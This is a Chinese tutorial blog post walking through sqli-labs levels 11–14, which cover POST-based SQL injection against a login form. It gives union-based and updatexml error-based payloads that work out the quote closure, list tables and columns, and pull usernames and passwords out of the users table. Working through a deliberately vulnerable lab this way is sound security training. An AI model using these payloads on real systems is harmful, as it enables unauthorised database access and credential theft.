当前位置: 首页 > article >正文

sqli-lab靶场学习(四)——Less11-14(post方法)

前言

第1-10关都是get方法,本关开始进入post方法。其实post也好get也好,本质都差不多,使用的技巧也基本相同。

Less11

第11关打开是一个输入用户名密码的界面

显然登陆对话框会使用post方式提交,这里我们尝试在Username一栏通过单引号闭合看看什么效果:

提示有个报错,看来就是单引号闭合,那可以肯定这里有个注入点,在Username框尝试(注意每个输入前面都有个单引号+空格!是闭合变量用的,不是手误):

' or 1=1 -- asd

 是不是发现和第一关的get方法效果类似!既然有回显,那就尝试通过联合注入的方式,先看看有多少列,在Username框输入:

' union select 1 -- asd

这里报错了,表示union后的列数不对,当我们尝试:

' union select 1,2 -- asd

不仅对了,而且还把联合注入部分回显到页面,和第一关类似。那接下来就是获取数据库命了,在Username框输入:

' union select database(),2 -- asd

得到数据库名为security。接着就是获取表名:

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- asd

显然users应该就是我们要找的表,然后是查找列名:

' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') -- asd

 列名中username和password应该就是我们要找的列,然后查出用户名和密码:

' union select 1,(select group_concat(username) from users) -- asd

' union select 1,(select group_concat(password) from users) -- asd

通关!

Less12

第十二关先输入单引号

显示错误,再输入双引号:

 看报错信息,应该是双引号和括号作为闭合,测试一下,在Username框输入:

") or 1=1 -- asd

成功,那就确定了通过双引号+括号闭合。剩下的参考第11关即可,不再复述。

Less13

第13关先测试单引号

看来是单引号+括号的闭合,再测试:

') or 1=1 -- asd

确定了单引号+括号的闭合,但是这里没有登陆正确的回显。不过有错误的回显,所以可以利用updatexml大法来处理,和第五关的处理方式类似。在Username框输入:

') or updatexml('1',concat('~',database(),'~'),'1') -- asd

找出了数据库名为security。然后找出对应表名,Username对话框输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1')  -- asd

 第一个表是emails,我们逐个尝试,当输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~'),'1')  -- asd

找出了users表。接着是列名,同样我们逐个尝试后,在输入以下两条时找到了username和password列名:

') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~'),'1')  -- asd
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~'),'1')  -- asd

之后找出用户名,Username框输入:

') or updatexml('1',concat('~',(select username from security.users limit 0,1),'~'),'1')  -- asd

 

密码:

') or updatexml('1',concat('~',(select password from security.users limit 0,1),'~'),'1')  -- asd

通关!

Less14

第14关和13关类似,区别仅在于通过双引号闭合,其余都一样,不另外叙述。


http://www.kler.cn/a/313470.html

相关文章:

  • 【机器学习】如何配置anaconda环境(无脑版)
  • 408模拟卷较难题(无分类)
  • C++单例模式与多例模式
  • Java面向对象编程进阶之包装类
  • 21. Drag-Drop拖放操作(二) - 文件、表格和树的拖放实现
  • python高效处理大数据:将Excel10万数据分批插入MySQL数据库的实战代码
  • 微信小程序中的实时通讯:TCP/UDP 协议实现详解
  • Closure 是个数据结构
  • 如何在 Ubuntu 上安装 OpenSSH Server ?
  • DataFrame生成excel后为什么多了一行数字
  • 计算机的编程
  • 华为OD机试 - 信号强度(Python/JS/C/C++ 2024 E卷 100分)
  • 【设计模式】创建型模式(四):建造者模式
  • 前端设计之 主页面、书架页面、数据分析页面
  • 搜索引擎onesearch3实现解释和升级到Elasticsearch v8系列(二)-索引
  • 【RabbitMQ】死信队列、延迟队列
  • windows下用cmake编译腾讯云的对象存储COS的XML C++SDK
  • java通过org.eclipse.milo实现OPCUA客户端进行连接和订阅
  • 2-93 基于matlab的无人机FMCW(频率调制连续波)毫米波高度计雷达仿真
  • axios(基于Promise的HTTP客户端) 与 `async` 和 `await` 结合使用
  • 中级练习[5]:Hive SQL用户行为与商品价格综合分析
  • Docker笔记-容器数据卷
  • 做到三点从“穷人思维”转变为“富人思维”
  • Node-red 某一时间范围内满足条件的数据只返回一次
  • 前端univer创建、编辑excel
  • 大模型爬虫—ScrapeGraphAI